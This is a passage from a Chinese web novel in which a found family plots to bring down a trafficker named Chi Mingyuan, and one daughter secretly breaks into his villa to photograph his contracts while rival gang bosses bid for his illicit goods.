“放心吧,就算你去长峡,我也会派人保护你,绝对不会让他们抓住你。说什么你一过去就会被逮捕,他们也得知道你过去才行,这次的生意,还要靠你多关照。咱们是否能发财,就看你了。而且你的宝贝儿子还在长峡,你不去把他接回来?” 池明远眼中闪过嫌弃。 他不知道自己怎么会生出池希这个蠢儿子。 理不清生意就罢了,偏偏还喜欢追着女生跑。 池明远问:“你去的玉石店,究竟是什么来头?” “来头可不小,”曼德微笑道,“我发现有很多人都听玉石店的人调遣,我替你查过了,玉石店里有五人,没有血缘关系,从明面上的资料来看,都是普通人。是一个惠姓女子收养了他们。至于小希喜欢的小女生,更查不到来历,才刚成年而已,都是华国人。” 池明远眉心不安地跳动着,“惠姓女子收养了他们?” 曼德点头,“她不像是普通人,但实在查不出什么,越是如此,我越担心。” 要么她真的没什么特别,要么就是她的势力过大,资料上也动过手脚,而且是连曼德都摆不平的手脚。 池明远的心越来越慌。 他好像身处看不见陆地的深海,四周没有任何可以依托的东西,他只能凭自己游向陆地,可不管往哪个方向游,不管游多久,看到的仍然是波涛汹涌的海。 池明远找出雪茄点上,良久心情才平复,他问:“惠海铭是吧,多大年纪?长什么模样?” “样子还真不知道,没找到她的照片,年纪嘛,和你差不多。” 池明远的心又是狠狠一坠。 “和我差不多?” 曼德肯定道:“据我所知,她和其他人都有年龄差距,年龄和你相仿,这没错。” 池明远闭上眼睛,曾经的战友举着匕首一个接一个地刺向他。 这是他多年来的噩梦。 但他不后悔当初的选择,他只恨自己居然让她逃了出去。 既然下手,就该灭得干干净净,不该让她逃走。 如果她死了,他也不至于躲躲藏藏到现在。 还有姜玉玲…… 池明远心中烦躁,用手掐灭烟,指肚火燎般的痛。 曼德最喜欢看池明远心慌。 他这位老朋友,实在不像是个正常人,连妻子、儿子都不放在心上。 如果不是考虑到自己的名声 ,他估计连老爹都不会放过。 不过心狠的人做生意的确能赚。 池明远道:“他们背后一定有其他人,要尽快查明白。” “我想过了,”曼德说,“他们都是华国人,背后无非是长峡那几位。” “华子和黑子?” “也有可能代表白道,但我不认为他们会用这种方法,所以华子和黑子的可能更大。”曼德指了指放在桌子上的小灵通,“我在监视这两人,华子频频和一个号码联系,尤其是在和你打过电话前后,我怀疑他有问题,但现在还没查到号码的主人,我需要派人去长峡确定信号塔的位置。” 池明远道:“这就只能靠你了,我在长峡无人可用。” 曼德一口应下,“这华子也不可靠,说不定上次的爆炸都是他的手笔,你也要多查查,小昭私底下是不是与他有联系。” 送走曼德,池明远疲惫地坐下。 他人已经到龙星岗,离长峡只有一步之遥。 越靠近长峡,他越不安。 但和长峡的生意,的确能让他大赚一笔。 池明远现在的财产,一辈子都花不完。 可谁会嫌钱多? 让池明远苦恼的不是生意,他不能去长峡,就请长峡的华子过来。 他愁的是…… 池明远打开保险箱。 他在龙星岗也有私人别墅,保险箱里放着他的宝贝,他总是会随身携带。 除此之外,还有一个信封。 池明远打开信封,拿出叠好的纸,拧眉看着。 如果不回华国,这恐怕就是一张废纸了。 * 吴元青毕竟曾是华国的警察,他去龙星岗也是申请过的,完全是为了找女儿。 他去了长峡的警局,和段浩联系上,打听华哥和黑哥的消息。 提到二人,段浩有些苦恼,“这两个人很鬼,做事不留痕迹,我们想对付他们很久了,每次要有行动,他们都会撤走,真不知道是从哪里得到的消息。我个人看来,是真担心这两伙人起大冲突。” 吴元青若有所思道:“他们应该很需要那方面的东西吧?” 吴元青瞥了眼段浩腰间。 段浩点头,“最怕的就是这一点,如果伤到无辜的人就糟了,必须杜绝这种情况。” 吴元青循循善诱,“他们想搞这些,估摸着会和宁蓝那边合作,那边乱得很,和咱们国家不一样。” “你的意思是……” 吴元青问:“他们的人最近有往宁蓝国去吗?” 段浩立刻拿起话筒,询问二人的出关记录。 黑哥倒是很安静,老老实实待在家里,但是华哥…… 段浩听到汇报后,深吸口气,他挂断电话,凝眸看着吴元青,“就在刚刚,华子去龙星岗了。” 他身上干净得很,无犯罪记录,没办法卡着他不让走。 吴元青道:“我曾在龙星岗拦截过一辆货车,里面装的都是华子需要的东西,只不过在路上提前炸了。” “你的意思是,他们那会儿就开始做生意了?” 吴元青点头,“这次又去谈话,只怕会更顺利。” 段浩猛地站起来,“我现在就去通知其他人,必须把货物拦住!绝对不能让他们运进长峡!” 话虽如此,段浩的人却不方便在龙星岗行动。 他找了几个在龙星岗的眼线去打探,眼线跟到一半便失去目标,只知道他们是往别墅区去的,那边住的都是龙星岗的有钱人。 吴元青把消息带到玉石店。 张淼在楼下看店,其他人在楼上开会。 桑白玉和宁红英给所有人倒茶水。 池希很不安分,“小玉啊,这茶叶不太好,能不能换其他茶叶?实在不行我出钱你去买点儿,咱不能连喝茶都喝不好的茶叶啊。” 桑白玉说:“你要认清自己的身份,你现在是人质。” 池希:“……” 他摸了摸口袋里的小灵通。 距池希给池明远发消息已经过去两日,池明远毫无动静。 池希忍不住想,池明远是不是真的不在意他的安危? 不会啊,他爸对他很好呢,他们一直很亲密。 方小满把唠叨的池希拎走。 池希主动上交小灵通,“你们还是收走吧,我怕我忍不住给我爸打电话。” “怎么会,”方小满一脸很懂池希的表情,“你现在比我们更希望你爸能过来,我们完全相信你。” 池希:“……” 已经被人家看透了。 池希走后,吴元青又把情况说了一遍。 惠海铭道:“他们的行为的确可疑,可能是要把从前的生意捡起来了。” “绝对不能让他们得逞,”吴元青说,“这些人手里拿着家伙,会更无法无天,普通老百姓的安危没办法得到保障。” 惠海铭惋惜道:“我已经找人去打探池明远在龙星岗的住处,很可惜,他的防备心很强,没能找到他。” 宁红英问:“华子是去龙星岗找池明远了?” 惠海铭点头。 几人开始商量如何在长峡这边拦住华子。 方小满越听越觉得奇怪。 她偷偷凑到桑白玉身边,低声道:“我以前听大姐说起过这件事,我以为大姐会有应对办法,现在听起来,咱们好像失败了?” 桑白玉想到惠海铭方才的神色,没多解释。 方小满叹气,“小玉也有事情瞒着我了,全家人都瞒着我,唉。” 她坐在楼梯上愁眉苦脸,“为什么只瞒着我呢?为什么是我?” 桑白玉贴心安慰道:“小满姐姐,其实大姐也没和我说过。” “可你每次都知道!什么都知道!为什么!” 桑白玉摸了摸自己的头。 方小满:“不准说你聪明!!” 桑白玉:“……” 可她真的是自己想的。 桑白玉只好说:“对我们而言,最重要的事情就是让池明远进入华国境内,否则我们没有理由抓捕他,就算抓住,也没办法通过正当程序让他伏法,我想利用生意引诱他,是一个办法。” “再就是……”桑白玉看向池希临时休息的房间,他一直和苏蓝移一起睡,“我原本以为池明远多少会顾念池希,可他明明知道池希的处境,却没有任何表示。” 这人实在太狠,而且没有软肋。 他或许喜欢池希,但与他自己的安危相比,池希实在是微不足道。 惠海铭推门走了出来。 她瞟了一眼方小满,道:“你回屋里待一会儿。” 方小满抱怨道:“又不能告诉我?啥事都不告诉我,太过分了。” 她不情不愿地去了惠海铭的房间,其他几个房间都有人。 方小满走后,惠海铭才递给桑白玉一个小灵通号码,又交给她一个小灵通。 桑白玉问:“要和他联系?” 惠海铭点头,“之前一直是我和他联系,已经准备好了。这个号码能查到你,池希的事,总得给池明远一个说法,让他知道他的敌人是谁。” 桑白玉接过小灵通,点开通讯录。 通讯录里只有一个人,华哥。 桑白玉不动声色道:“他是我们的人?” “不算是,只是因为某些利益,暂时与我们合作,我们也许了他不少好处,比如他从前做的事情可以一笔勾销。”惠海铭说,“我们几个人无依无靠,凭空出现,会引起池明远的怀疑。华哥是个好靠山,只要让池明远知道,这些事都是华哥做的就够了。” “可是吴叔叔说池家要和华哥做生意……” 惠海铭微笑道:“他还有第二人选。” * 惠海铭才搬回来没多久,房间内的东西不多。 她喜欢七八十年代的装修风格,用的是深红色的铁皮暖壶,在方小满看来实在老掉牙,但惠海铭就喜欢这些。 她是个念旧的人。 方小满百无聊赖地躺在床上,刚躺下,又想起惠海铭有洁癖,总是让她脱下外套和裤子才允许她上床。 方小满从床上跳起来,继续唉声叹气。 怎么就只瞒着她呢? 小玉明明比她来得很晚。 而且其他人来到玉石店时,都好几岁了,只有她,从小就跟着惠海铭! 这可真的是一把屎一把尿拉扯大的! 方小满忽然愣住。 对哦,其他人都是惠海铭收养的,加入他们的小家庭时都好几岁了,像桑白玉,她十三岁才来。 为什么方小满从小就在这里? 难道…… 她是惠海铭的私生女?!! 哦不,她大姐对男人不感兴趣,甚至想把他们全部灭口。 方小满 越想越觉得奇怪。 她怎么会一出生就在这里呢? 方小满看到桌子上堆放的纸箱子,想到惠海铭从不让她碰的抽屉。 惠海铭的抽屉里总是放满文件,有一次宁红英打开抽屉,惠海铭没什么反应,方小满也跑去看,她却立刻制止。 抽屉里有什么是她不能看的? 强烈的逆反心让方小满走到纸箱前。 纸箱没办法上锁,惠海铭还没来得及整理。 她打开纸箱,仔细查看每一份文件。 文件里有惠海铭几人的假身份,是对外公开使用的。 还有她们的真实身份,这份文件是绝密。 桑白玉的档案几乎是空白的,没人知道她是从哪里来的。 这里面唯独没有方小满的档案。 方小满很不解。 大姐行事谨慎,收养她时一定会调查她的身世,就算她真的是被人随手扔下的,也一定会记录被抛弃的地点。 只有一个解释,她有档案,但在其他地方。 方小满拧眉翻找起来。 她看到更多的文件,大部分都是惠海铭对池明远的调查。 这些文件在龙星岗时都是被锁起来放进保险柜的,长峡是他们的地盘,不需要那么小心,惠海铭还没来得及整理。 两个箱子都翻遍了,也没找到方小满的档案。 方小满的目光落在书桌的抽屉上。 抽屉是上锁的。 临时搬过来,来不及整理其他文件,也要给抽屉上锁? 方小满看着抽屉良久。 这种锁对她而言实在算不上什么。 但打开它,就意味着违抗了大姐的话。 可…… 方小满找到自制的□□,看了眼房门,然后毫不犹豫地打开抽屉。 里面果然也有文件。 放在最上面的三份文件与池明远的生意有关,这三份文件利用到位,可以让池明远的生意垮掉五分之一。 对池明远来说,已经要命了。 最下面是文件袋。 方小满拿起文件袋,取出里面的文件。 文件内容全部手写,最上方是方小满的名字。 但很奇怪,下面只有几个联系方式和地址,不知是什么意思。 方小满很确定,她从没有和这几人联系过。 为什么联系方式会写在她的名字下方? 从她名字的位置来看,这几人明显和她有关系。 方小满拿出小灵通,拨通了第一个电话。 * 桑白玉办事稳妥,惠海铭很放心。 但同时,她也会担心桑白玉的安全。 惠海铭说:“我犹豫过要不要给你联系方式,虽然这是在长峡,但还是有危险。” 桑白玉道:“我明白的,我也想为大家做点儿事。不过大姐,你还有其他事要做吗?” 按照惠海铭的性子,她应该会自己和内线联系。 惠海铭轻声道:“我和你二哥打算回龙星岗。” “回去?!”桑白玉急道,“现在池明远就在龙星岗,那位什么将军的人也在,他们肯定已经查到我们了,你们现在回去很危险!” 惠海铭坚决道:“但没人知道这个方法究竟能不能把池明远引过来,如果不能,我必须亲手解决他。我和你二哥,对他有血海深仇,我绝对不会放过他。红英虽然稳重,但头脑没有你灵活,我和蓝移离开后,必须有人能撑住场子。” 桑白玉发现惠海铭没考虑过方小满。 她点点头,“我都明白的。” 惠海铭仍然无法放下心来。 她把桑白玉牵扯进来,实在是自私。 这孩子乖巧懂事,偏偏拥有这样的能力,她的生活注定无法平静。 桑白玉的小灵通响起来,居然是池昭的号码。 她犹豫片刻才接起电话,听筒里传来池昭的声音。 桑白玉放下心来,问:“你回长峡了?” 池昭“嗯”了一声,“有几人在玉石店附近徘徊,你们当心。” 桑白玉走到走廊窗前向下看,“这是你的铺子。” 池昭道:“现在是你的。” 桑白玉很满意。 铺子将来也很值钱呢! 池昭声音带着笑意,“可以说正事了吗?” 桑白玉:“你请。” 池昭道:“池明远现在有意将我隔开,他是下定决心要和长峡做生意,估计最近就会签合同。签合同的事估计无法让他去长峡。” 桑白玉评价道:“你坑起你爸来真是不留余力。” “如果你的母亲因为你的父亲失踪甚至死亡,你就会知道,这不只是坑那么简单,你不用试探我,我不会对你撒谎。”池昭三言两语解释完,接着说道,“不过我清算了他的财产,发现一点儿小问题。” 桑白玉安静听着。 池昭道:“他喜欢收藏古董,他拥有的所有古董都列了单子,有几样值钱的小玩意,我从未见过,都是华国的。” 桑白玉问:“你的意思是,他还有财产在国内?” “是一笔不小的财产,”池昭说,“我核对了他所有财产,总数对不上,有一部分是在国内的。我仔细查过,他在国内没有生意,可能是从前留下的,留了很多年。他不见得会为了签合同去长峡,但这笔钱对他来说很重要,尤其是那几样小玩意。” 第64章 桑白玉把池昭的话转告给惠海铭。 惠海铭思忖片刻,道:“先按计划行事。” 宁红英从房间里走出来,“大姐,看到小满了吗?” 惠海铭说:“她去我的房间了。” “没有啊,”宁红英疑惑道,“我刚刚去过你的房间,没看到她。” 惠海铭微怔。 桑白玉立刻走向惠海铭的房间。 方才她和惠海铭一直站在楼梯口,方小满不可能通过楼梯离开,她只可能走窗户。 若是走窗户,情况就不太对了。 惠海铭的房间果然空无一人。 桑白玉和宁红英迅速检查起房间来。 宁红英查脚印,桑白玉走到窗边,沉声道:“没有外人进来。” 宁红英给出相同的答案,“小满是自己走的。” 惠海铭一时疑惑,“她为什么要走?生气了?” 因为她把任务交给桑白玉,没有交给她? 宁红英道:“大姐,其实小满挺敏感的,她只是表面上大大咧咧。” 惠海铭拧眉。 敏感不是她突然离开的理由。 惠海铭扫了房间一眼。 房间似乎和她离开时不一样了,但打眼一看好像瞧不出什么。 惠海铭快步走到纸箱前,这些文件她还没来得及收拾,没有被翻过的迹象。 但方小满可是她教出来的,就算她翻过了,也能复原。 如果方小满看到文件,尤其是抽屉里的文件…… 惠海铭敲了敲抽屉,“小玉,小满开过抽屉吗?” 桑白玉走了过来,给出肯定的答案,“有她的气味,她在书桌前停留了很久。” “箱子里有什么?”宁红英好奇道,“不都是和池明远有关的档案文件吗?” 他们要查池明远不是一天两天的了,这些事方小满都知道,没道理突然一声不响地离开。 惠海铭没说什么,她掏出钥匙打开抽屉,拿出属于方小满的那份档案。 这份档案她不该留的,但她担心丢了他们的联系方式。 丢了其实也不要紧,但她总想着要给方小满留下些什么。 万一有一天她知道了…… 惠海铭没想到这一天来得那么快。 她挨个拨打起电话来。 很快,惠海铭说:“小满和她通过电话了,她都知道了。” 桑白玉茫然地看着惠海铭。 宁红英沉默不语。 事到如今不需要再瞒着,惠海铭叹口气,说:“我和你们说过,我的几个战友被池明远害死了,我留在龙星岗,就是为了扳倒池明远,给他们报仇。” 桑白玉说:“这我记得。” 惠海铭道:“其实小满不是孤儿,她是我战友的孩子。” 惠海铭是被战友保住的, 她捡回一条命,回到部队,得知其中一人的妻子已经怀孕,而且就快临盆了。 丈夫的死讯让女人动了胎气,她伤心过度,身体险些垮掉,不适合再照顾孩子。 至于战友的父母,年纪也都大了,没有照顾新生儿的精力。 惠海铭索性提出帮忙照料方小满。 这些年惠海铭一直在和方小满的母亲联系。 她多次劝说对方来见方小满,毕竟对方当年放弃方小满是身体的原因。 但她不愿意。 她认为自己对不起方小满,不能来破坏她现在的生活。 跟着惠海铭,起码在钱的问题上不用愁。 而她,只能过穷困潦倒的日子。 “这些电话和住址都是小满的亲人的,现在和我联系的只有小满的妈妈和奶奶。但其他人的地址我也不想弄丢,你们知道的,他们一旦搬家了,就很难再找到。” 桑白玉大概能理解惠海铭为什么总是不想让方小满插手这些事了。 方小满是她最担心的人,远远超过其他人。 桑白玉问:“为什么不告诉小满姐姐真相呢?” 惠海铭道:“活在仇恨里是很痛苦的,比如我,比如蓝移。每次闭上眼睛,我都能看到断胳膊断腿的他们爬向我,每次想到池明远还好端端地活着,我的心都像被一万只蚂蚁啃噬,我实在无法告诉她真相。” 宁红英轻声安慰,“大姐,小满很勇敢的,她不是普通人,当务之急是找到小满。” “她会去哪儿?” 桑白玉沉思半晌,蹦出几个字,“龙星岗。” 惠海铭和宁红英同时愣住。 桑白玉说:“她也会想杀了他,一定很想。” * 晚上海关不开门,无法通过正常途径过关。 幸好现在还有非正常的出入口。 只可惜时间太晚,方小满来不及租出租车,只能骑摩托车去龙星岗。 摩托车的声音太大,尤其在夜间,格外刺耳。 方小满到了龙星岗,先把摩托车藏起来。 她又翻出龙星岗市的地图。 方小满在这里生活多年,可以说是了解这里的每一寸土地。 她知道哪里是有钱人会住的地方。 但池明远的家,肯定不是普通的有钱,极有可能不会出现在地图上。 来之前方小满已经有了规划。 她放好摩托车后便往别墅区走。 池明远的家不太可能是在这些普通别墅中,她的目标是这座山头后。 曾经动过工,又不知道是什么建筑的地方。 在惠海铭的资料里,也有对这里的记录。 她还派人来查探过,探子的回应是,这里有很多人把守。 方小满借着月光翻过山头。 下山是一条平坦的小路,山下便是方小满的目标,一栋带有很大院子的别墅,或者也可以被称为庄园,它的院子实在太大了。 方小满在心里嘀咕了两句。 别墅建在这里,光想赏景了吧?一点儿都不怕危险。 不过这山倒是挺难爬的,上山时没有路,还很陡峭,一般人不会上山。 但池明远得罪的是一般人吗? 这就叫心里没数。 方小满将自己隐藏起来,沿着间隔不远的树往前走。 她很快看到守卫。 平时有桑白玉在,方小满几乎不用动脑思考,只要跟着桑白玉就好。 这不代表她没有能力,类似的训练每天都在进行。 方小满悄无声息地靠近别墅。 她也能选择一条没有守卫的路,还能顺便观察附近是否有监控设备,虽然现在监控设备并不普及,但池明远肯定能搞到。 翻进别墅用了十五分钟。 但好歹安全进来了。 方小满来不及喘口气,摸到最近房间的门前。 她先贴在门上听里面的气息,判断是否有人。 确认无人后,方小满才轻轻推开门,此过程没有发出一点儿声音。 这间房子是卧室,无人打扫,已经落满灰尘。 嗯,有钱人都抠,连打扫的钱都不舍得出。 方小满看到第一个房间的状态,心里有了数,接下来就不是每一个房间都检查了。 她会先观察地面,根据灰尘判断状态。 整个一楼都不像是有人的样子。 方小满爬上二楼。 二楼的状态比一楼好得多,方小满甚至看到洗手间的灯还没熄灭。 有两个房间门前最为干净,而且地毯绒毛东倒西歪,一看便是经常被人踩踏。 方小满判断,这两个房间,一个是卧室,一个是类似书房的地方。 她悄声移动到房间门口,听到微弱的喘息声。 应该是池明远,从喘息的频率判断,他已经睡下了。 方小满走向另一个房间。 如她所料,是书房,还有会客用的沙发。 方小满关好门,先走向茶几。 茶几上有两个杯子,还没收下去,方小满下意识取证。 现在验DNA的方法很多。 取完证,方小满又走向办公桌。 池明远虽然是临时赶到龙星岗,但凭他的性格,一定会带来很多东西,他不放心把它们交给任何人。 他连同床共枕的妻子都不信任。 想到此,方小满直奔保险箱之类的地方去。 先找证据,再把池明远打晕带回去,如果还是不行,干脆就把他杀了,给她父亲报仇! 方小满想到方才打的那通电话。 她称自己是惠海铭,对方便迫不及待地问起“方小满”的近况,方小满意识到,对方可能是她的母亲。 其实方小满没有太多证据,对方最开始也没有说什么。 这只是一种感觉,听到声音便觉得亲切的感觉。 方小满第一次可以叫“妈妈”。 对方明显慌了,挂了电话。 没过多久,她又打了过来,颤声询问方小满是不是都知道了。 从她口中,方小满得知自己不是孤儿。 方小满的父亲是英雄,牺牲了,是大姐的战友,被池明远害死了。 方小满得替父亲报仇。 想到此,她的眼神愈发坚定,先检测池明远存放重要文件的地方是否有其他仪器,再挨个翻找。 办公桌下还有一个保险柜,方小满带了听诊器来,但打开还是需要时间。 她先看过其他文件,最后才盯上保险柜。 方小满摆弄一番,松口气。 还好是机械式的。 方小满开始尝试解锁。 有听诊器在,找到密码倒是很容易,但还需要钥匙。 书房里没有钥匙,她的运气不如池昭好。 池明远性格谨慎,他应该会随身携带钥匙。 方小满离开书房,向池明远的卧室走去。 她在门口停留好一会儿,直接把听诊器放到门上,判断里面的情况。 可惜桑白玉不在,如果她在,就会直接告诉方小满里面有几个人,甚至能说出他们在做什么。 这种能力可遇不可求。 方小满确认池明远已经睡下。 她试图打开卧室的门,但卧室门和书房门一样,都上了锁。 方小满用铁丝把锁勾开,这种锁和保险柜相比实在不算什么。 卧室内漆黑一片。 厚重的窗帘拉得很紧,方小满先将卧室门关上,停留一会儿,才适应黑暗。 床上躺着一个人,背对方小满,方小满先走向搭在小沙发上的衣服,没发现钥匙。 方小满又看向床铺,在池明远的枕头下方似乎有一串亮晶晶的东西。 方小满低声咒骂了一句。 居然把钥匙放在枕头底下,是真的怕丢! 她蹑手蹑脚走过去,过程中没有发出一点儿声音。 取钥匙还是太危险,虽然现在池明远没有压住钥匙,但一旦拿起钥匙,就会发出声音。 方小满盯着池明远的侧脸看了一会儿。 他虽然已经是两个孩子的父亲,比方小满大一辈,可一点儿都看不出来。 金钱也能养人,他保养得很好。 有那么一瞬间,方小满有直接杀了他的冲动。 这样一个罪大恶极的人,还需要正义的审判?直接杀了他,比什么都快。 但方小满知道,大姐她们不能接受直接动手杀人,否则他们早就付诸行动了。 方小满小心翼翼地取钥匙。 她不知道保险柜的钥匙是哪一个,只能全都拿走。 池明远睡眠浅,方小满只是不小心弄出一点动静,池明远便翻了个身。 她惊得不敢动,全身发麻,好在池明远很快又睡着了。 听到池明远均匀的呼吸声,方小满才松口气。 她拿着钥匙退出卧室。 钥匙总共有10把,有两把似乎是车钥匙。 方小满挨个去试。 试到第五把时,她把保险柜的门打开了。 里面放的都是值钱的东西,是池明远的大部分财产,还有一些重要的合同。 方小满翻来翻去,也没找到什么关键证物,很是无语。 哪有人出趟差连家都要搬走啊,这个池明远是真爱财如命。 他都多有钱了?就算后半辈子每天的任务只有花钱,也挥霍不完。 方小满拿出微型胶片相机。 手动打了个光,然后把合同全部拍了一遍。 这些合同里说不定就有池明远的罪证。 做完这些,方小满把保险柜复原。 包括里面的文件,都是按照原来的顺序放进去的。 甚至是那根头发。 方小满打量起书房来。 还是不太对,她应该还没找全。 池明远来龙星岗是要做生意的,怎么没有这份合同? 难道他很相信华哥,相信到不需要合同来束缚? 不能啊,刚才拍到的合同里,有几份也是黑色产业链呢。 方小满再次起身搜起来。 她不敢发出太大声音,轻轻拍打书架,试图找到藏文件的地方。 她找了整整十分钟,却一无所获。 方小满疲倦地走到窗户旁,扶着柜子休息。 精神一直高度紧张,她实在是有些累了。 方小满随意拉开抽屉。 只用一眼,她就发现抽屉不该是这个深度。 从外观看,抽屉应该更深一些。 方小满挑眉。 华国古代的家具都有夹层,部分夹层做得很精妙,根本看不出来。 看来池明远也很喜欢研究古代家具,而且很信任它,居然都没给抽屉上锁。 找到夹层的开关比打开保险柜容易得多,方小满轻轻松松打开夹层,果然又看到几份文件。 有几张合同,还没有签字盖章,从内容看,就是他要和华哥做的生意。 还有一个小且坚硬的金属盒子,用的是密码锁,密码锁小巧精致。 方小满拍完合同后,所有注意力都集中在密码锁上。 别看密码锁不大,解起来却比保险柜的锁还要费劲。 这不是数字密码锁,密码是宁蓝国的文字。 方小满试了十分钟都没能解开。 在别墅耽误太久很危险,方小满有点儿着急。 就在这时,方小满听到极轻微的窸窣声。 桑白玉的嗅觉好,她的听觉也不错。 这是有保镖发现她了? 天色太暗,拍照取证时她不得不用灯光,若有人从窗外观察,很容易被发现。 方小满立刻把抽屉复原,想来想去,还是没舍得把金属盒子放回去。 拿回去想想办法,说不定能直接打开。 但如果拿走,池明远就会发现今天有人来过别墅。 方小满正陷入两难,忽然听到熟悉的鸟鸣声。 只有两声便停下了,而且声音很小。 方小满怔住,接着极大地松了口气。 她走到窗前,向下看去,没一会儿,桑白玉推开书房门走了进来。 方小满用手势和她比画,询问她是如何找来的。 桑白玉很无奈。 她倒是把摩托车藏得好一些! 还有这一路留下来的痕迹,全都没处理! 方小满把金属盒子递给桑白玉。 桑白玉粗略一看,用手势比画道:“这不是宁蓝国的文字。” 方小满:“?” “是塔因国的文字,我来试试。” 经常使用的密码文字留下的气息会浓郁一些。 不出一分钟,桑白玉便判断出密码文字,锁开了。 方小满:“……” 既生瑜何生亮,她已经够厉害了,为什么还会有桑白玉这种人!! 这是开挂,绝对是开挂,是不公平的!! 方小满掩面痛哭。 让二人惊讶的是,金属盒子藏得如此隐蔽,里面居然只有一串电话号码和几个不知含义的文字。 春宇368号 桑白玉翻来覆去地检查好几遍,确认这不是特殊处理过的纸,没有其他内容。 就在此时,桑白玉嗅到不安稳的气息波动。 她立刻把纸条放回去,擦去所有指纹,处理现场。 方小满知道是有人快来了,没有多问,也帮着一起收拾。 将一切恢复到原状,桑白玉指了指原本就没上锁的窗户,二人从窗户离开,平稳落地。 桑白玉将方小满带出庄园。 与此同时,二楼书房的灯亮了,有人在书房内走来走去,但什么都没发现。 桑白玉和方小满一起下山找到摩托车,直到回到长峡,方小满松口气,把微型胶片相机递给桑白玉。 明天把照片洗出来,她们就又多了很多证据。 只是金属盒子里的纸条,桑白玉实在想不通到底有何含义。 那串数字是国内的号码,桑白玉忽然想到,池昭刚说过,池明远应该还有东西留在国内。 * 曼德一早又赶到池明远的别墅。 他眼睛猩红,抱怨道:“我昨天忙了一夜,什么急事非要我现在过来?” 池明远紧紧蹙眉,手搭在扶手上,不安地敲打。 “我还是不能放心,”池明远道,“总觉得有什么人在监视我。” “监视你?你知道这里有多少人保护你吗?”曼德看到池明远小心谨慎的样子,气不打一处来,“你这里的人,甚至比我的人都多!谁能越过这么多人来监视你?!” 池明远闭上眼睛,疲惫道:“我就是觉得好像有人在,比如昨天,总觉得有人闯了进来。” 曼德笑容古怪,“你恐怕是亏心事做多了,华国有句话,不做亏心事不怕鬼敲门,你是担心有人来找你复仇吧?” 池明远烦躁地看向曼德,“惠海铭的身份查出来了吗?” 曼德耸肩,“她已经去长峡了。” “那就更不对了,”池明远笃定道,“说不定就是她!” 曼德像是在听笑话。 他笑了一会儿,不想和池明远继续争论,便问道:“今天要和华子见面,你没忘吧?都准备好了?” 池明远冷着脸说:“你不要总认为是我杞人忧天,就怕哪天我真死了,你就再也赚不到钱了。” “知道了,知道了!”曼德抬高声音,“我派人来保护你!能说说生意的事了吗?!” 池明远这才不情愿地说道:“准备好了,这次我要先看到钱,上次我可损失不少。而且我人都来了,就不能做小生意,你转告他,如果订的货不多,我没兴趣见他。” 曼德微笑道:“放心,早就说过了,华子和黑子积怨已久,他需要很多货,他有钱,愿意收。” 池明远点头,“那就好。” 池明远起身,“就今晚吧,让他过来。” 曼德问:“电话的事……” 池明远神色晦暗不明,“先让他过来。” * 华子全名朱安华,在长峡混了很久了,偶尔也来龙星岗。 龙星岗是池家的地盘,朱安华不可避免地要与池明远打交道,只不过以前他面对的人是池昭。 仔细说起来,这还是朱安华第一次和池明远碰面。 他带着一众小弟来到龙星岗。 他手底下这 帮人都是粗人,没什么文化,他们脸上全是对货物的向往,没有担心。 “这次终于能教训他们了,那黑子是什么来路,能和咱们大哥比吗?居然也猖狂起来了。” “我一定要把他们全都灭了!” “呸呸呸,这话能随便说吗?注意影响!” 朱安华盯着眼前的酒店,一言不发。 这一上楼,可就不知道能不能保住这条命了。 片刻,朱安华挤出笑容,往楼上走去。 酒店不是池明远的产业,但朱安华还是提前做了安排,一旦出现意外,他要保证自己能全身而退。 相信池明远也不是傻子,不会和他起冲突。 三楼的会议室,朱安华笑容满面地走进去,“池总,池老板!终于见到你本人了!气质非凡啊!” 池明远和曼德已经坐下,两人脸上浮现出淡淡的笑容,都没有回应朱安华。 朱安华尴尬地收回手。 小弟们瞬间不乐意了,一个个摩拳擦掌,像是要和他们打一架。 朱安华呵斥道:“别胡闹!” 虽然是呵斥,语气中却没有多少责怪的意思。 朱安华坐下,客气道:“二位,生意还谈吗?” “谈,当然谈,”曼德用蹩脚的华语说道,“但是谈之前,我们还有点儿小事要和华哥商量。” 朱安华扬眉。 曼德微笑道:“最近和你频繁联系的人是谁啊?” 朱安华心一紧,“你说什么?” “那个号码,好像和玉石店有关,那几人是你的人?” 朱安华的心狂跳起来,“我听不懂。” “那就是不想认账了,”曼德道,“看来华哥还有更大的野心,不只是想做掉黑子,你派他们去做什么了?监视我们?还是有其他企图?想取代我们?惦记龙星岗的生意了?” 朱安华竭力保持镇定,“你们如果说这话,就太过分了,和我频繁联系的人能是谁,我老婆?我人都来了,你们还担心什么?钱我也带来了!” 池明远面无表情地看着朱安华。 朱安华被迫与池明远对视。 强大的压力下,他不自在地转移目光。 就是在这一瞬间,池明远给手底下人打了手势。 朱安华听到不寻常的声音,立刻起身,身后的小弟们也涌了上去。 场面混乱,人扒着人,朱安华趁机逃走。 幸好他提前做了安排,逃走的过程还算顺利。 两个小弟追上朱安华,护送他离开。 上车后,朱安华悬着的心才慢慢放下。 小弟抱怨道:“他们是什么意思,居然认为我们想取代他们?龙星岗是龙星岗,长峡是长峡,我们怎么插手?华哥,怎么办,买不到货,以后咱们又要被欺负了。” 朱安华看向窗外。 龙星岗的街道与长峡的旧街很像。 长峡新建起来的部分就和龙星岗不像了,龙星岗止步不前多年。 朱安华缓缓勾唇。 小弟从后视镜中看到朱安华的反应,吓了一跳。 他们折了人,还没买到货,老大怎么还有心情笑啊?? 酒店会议室,池明远和曼德处理完剩下的人后,拧眉走到一起。 池明远道:“他果然有其他心思,准备得很充分。” “幸好你的人提前发现了,”曼德说,“这可是一笔大生意,不能再出错了。” 池明远看向曼德,“我就说我们人最好不要出现在长峡,过去一定会出事。” 曼德耸肩,“知道了,让黑子过来就行了,我现在联系他。” 池明远松口气。 黑子是外号,本名叫陈志明。 因为人长得格外黑,刚出来混时,别人就叫他黑子,说他是黑人。 后来他慢慢混出头了,人家就叫他黑哥。 从黑子到黑哥,他用了好几年。 陈志明的态度比朱安华谦虚得多。 两伙人顺利签下合同。 陈志明赔笑道:“幸好池总照顾,我们被华子那帮人欺负太久了,这下好了,看他们还敢说什么。” 池明远按住合同。 陈志明诧异道:“还有问题?” 池明远观察陈志明片刻,缓缓收手,“这么多货,你能吃得下?” 陈志明笑道:“您还真是火眼金睛。” 他谄媚地靠近池明远,“坦白说,我是想给您搭个桥。” 池明远扬眉,“哦?” “我虽然吃不下太多货,但其他人能吃得下,国内管得太严了,他们不方便联系,我来给您搭桥,您客户多,我也能小赚一点儿。而且我想过了,咱们不能局限于一种货物,还是那种货赚钱,那销量可就大了,您说呢?” 这些货都是池昭不愿意做的生意。 池明远早有想法。 